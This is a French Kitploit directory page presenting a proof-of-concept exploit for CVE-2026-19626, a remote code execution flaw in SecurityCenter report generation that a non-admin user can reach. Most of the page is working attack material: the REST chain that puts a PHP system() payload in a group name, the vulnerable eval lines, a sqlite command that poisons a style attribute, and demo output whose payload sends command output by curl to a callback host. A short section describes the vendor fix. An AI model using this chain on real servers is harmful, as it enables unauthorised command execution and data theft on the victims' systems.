Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
POC-CVE-2026-19626 — Exploit de preuve de concept pour CVE-2026-19626, une exécution de code à distance authentifiée dans la génération de rapports SecurityCenter, démontrant une chaîne non-administrateur via l'injection de nom de groupe et l'eval PHP. | Kitploit
Outils/GitHubGitHub/h00die/poc-cve-2026-19626
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubh00die/poc-cve-2026-19626

POC-CVE-2026-19626

Exploit de preuve de concept pour CVE-2026-19626, une exécution de code à distance authentifiée dans la génération de rapports SecurityCenter, démontrant une chaîne non-administrateur via l'injection de nom de groupe et l'eval PHP.

Voir le dépôt
il y a 15h 38mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

infoGraphic

CVE-2026-19626 — RCE dans la génération de rapports (authentifié, non-admin)

Statut : CONFIRMÉ — purement distant, non-admin, REST uniquement (lab 6.7.2-14.el9, 2026-08-21).

La chaîne weaponisée (c'est ce que fait poc.py) :

  1. connexion en tant qu'utilisateur org ordinaire
  2. POST /rest/group avec name: "{=system('<cmd>')}" — accolades/guillemets acceptés tels quels (le contrôleur de groupe n'effectue aucun contrôle de jeu de caractères)
  3. POST /rest/reportDefinition — rapport PDF, un composant pieChart, requête user/sumgroup, labelColumns: groupID
  4. POST /rest/reportDefinition/{id}/launch
  5. Au rendu, substitue l'espace réservé par le nom du groupe AVANT que la boucle d'évaluation ne s'exécute — le payload atterrit dans la chaîne de format et se déclenche en tant que tns
substituteParams()
{label}
{=...}
eval("$expr = system('<cmd>');")
  • La valeur de retour de system() est réinjectée dans le label — la sortie de la commande est rendue dans la légende du camembert du rapport finalisé (le canal d'exfiltration)
  • Le marqueur /tmp/pwn_label est créé par cette chaîne exacte (aucun accès BDD, aucune écriture de style, aucun téléversement de fichier). Noter que le groupe à zéro membre produit quand même une part — l'agrégation sumgroup l'inclut.

    Également confirmé par invocation directe et empoisonnement de style sur le pipeline complet (voir l'historique ci-dessous) : le sink eval est actif dans substituteParams() tel que livré, et un attribut de style par défaut legendFormat empoisonné se déclenche sur TOUT rendu de pie-chart, y compris les rapports appartenant à des non-admin.

    Réserve sur la livraison (pourquoi le PoC purement REST cale) : l'objet style en ligne de la définition de rapport — là où le PoC place legendFormat/labelFormat — est stocké tel quel dans xmlDefinition mais écarté au rendu : getReport(CONTEXT_RENDER) réhydrate les composants depuis les tables normalisées et écrase $component['style'] avec StyleLib::getComponentStyle() (récupéré par styleID). Le contrôleur d'import de style existe (Styles::add, analyse un fichier XML téléversé via xmlToStyles, avec la vérification réservée à l'admin commentée) mais aucune route n'y est exposée — les 12 combinaisons verbe/chemin testées (style, styles, style::add, style/import × POST/PUT/PATCH, avec un nom de fichier préparé valide) renvoient toutes l'erreur 10, et le bundle UI ne contient aucun appel d'endpoint de style. La livraison purement distante requiert donc un chemin d'écriture de style que 6.7.2 n'expose pas ; la chaîne rendue a été démontrée directement via l'attribut de style.

    Vulnérabilité

    /opt/sc/src/lib/ReportChartingLib.php (SecurityCenter 6.8.0 et versions antérieures) :

    • ligne 8283 — eval("\$expr = {$exprs[1]};") dans substituteParams(). Les chaînes de format de légende/label du pie-chart ($style['legendFormat'] / $style['labelFormat'], lignes 4952/4983) prennent en charge les paramètres {=<arithmetic>}, par ex. le défaut intégré {={sector}+1}. Le corps de l'expression est un contenu de définition de rapport fourni par l'utilisateur → PHP arbitraire.
    • lignes 5538 / 5714 — eval("\$sectorLabels->setBackground($labelStyle);") avec labelStyling provenant du style du graphique. La protection 6.8.0 était if (strstr($labelStyle, ";")) // EXPLOIT???! Revert to default — rejette uniquement ; ; system('cmd') passe.
    • ligne 6125 — contrôle if (is_callable($matches['name'])) sur les spécifications de forme de barre comme circleShape(10). system(id) passe le contrôle. Le commentaire du correctif 6.9.0 le déclare sans détour : "is_callable() n'est PAS un contrôle sûr (is_callable("system") === true)".

    Tout utilisateur org disposant des droits de définition de rapport atteint les trois au moment du rendu (generateReport.php / Jobd). ReportDefinitions::launch() refuse ROLE_ADMIN — la classe de bug est explicitement non-admin.

    La sortie de la commande est réinjectée dans le texte du label, le rapport rendu est donc le canal d'exfiltration.

    Correctif (6.9.0)

    eval() supprimé ; les expressions {=...} restreintes à /^[0-9.\s()+\-*\/]+/ et évaluées par un tokenizer ; resolveLabelStyleArgs() analyse le style de label en une liste d'arguments ; isAllowedBarShapeFunction() liste blanche à paramètres numériques uniquement.

    PoC

    root@kitploit:~
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd 'id'
    

    Injection de label via le nom de groupe (la chaîne distante ci-dessus) : crée le groupe portant le nom du payload, construit le rapport sumgroup, le lance et interroge le résultat rendu — la sortie de la commande apparaît dans la légende du camembert du rapport finalisé. Contrainte du payload : aucun caractère } (la regex {=...} est non gourmande jusqu'à la première accolade) ; la sortie de la commande voyage via la substitution du label, lisez-la donc depuis le rapport ou vérifiez-la via marqueur/timing.

    Notes d'anatomie (pourquoi les chaînes évidentes calent)

    • Le style.legendFormat/labelFormat en ligne de la définition est stocké tel quel dans xmlDefinition mais écarté au rendu — les composants réhydratent les styles depuis les tables Style via styleID (le contexte de rendu ReportDefinitionLib écrase $component['style'] avec StyleLib::getComponentStyle()).
    • Le contrôleur d'import de style existe (Styles::add, vérification admin commentée, analyse un XML téléversé via xmlToStyles) mais aucune route n'est câblée — 12 combinaisons verbe/chemin (dont la sous-ressource /rest/style/{id}) renvoient toutes l'erreur 10, et le bundle UI ne contient aucun appel d'endpoint de style.
    • Le chemin de la valeur de label n'a besoin d'aucun de ces mécanismes : la substitution {label} précède la boucle d'évaluation, donc TOUT label influencé par l'attaquant (nom de groupe ici ; les champs de profil utilisateur et les noms d'hôte des actifs scannés sont de la même forme) transporte le payload.

    Commandes de confirmation en laboratoire

    root@kitploit:~
    # direct sink (on-box)
    /opt/sc/support/bin/php /tmp/t.php   # requires defines+phpchartdir+ReportChartingLib
    
    # style poison (root) + any report launch
    /opt/sc/support/bin/sqlite3 /opt/sc/application.db \
      "UPDATE AppStyleAttribute SET value='<*block*>{=system(\"touch /tmp/pwned\")}<*/*>' \
       WHERE attribute='legendFormat' AND styleID IN (19,20)"
    # restore: DELETE those attribute rows (falls back to built-in defaults)
    

    Démo

    root@kitploit:~
    $ python3 cve-2026-19626.py --target https://1.1.1.1 --username user --password user --cmd id
    [*] callback on 2.2.2.2:38511, payload='{=system("curl -d \\"$(id)\\" http://2.2.2.2:38511")}'
    [+] authenticated, token 21137241...
    [+] created group carrying payload name (id 9)
    [+] reportDefinition #51 created — UI: https://1.1.1.1/#/reports/51
    [+] report launched — chart render evals the group-name payload
    [*] waiting for output callback ...
    [+] command output:
    uid=250(tns) gid=250(tns) groups=250(tns) context=system_u:system_r:initrc_t:s0
    
    Télécharger l’outil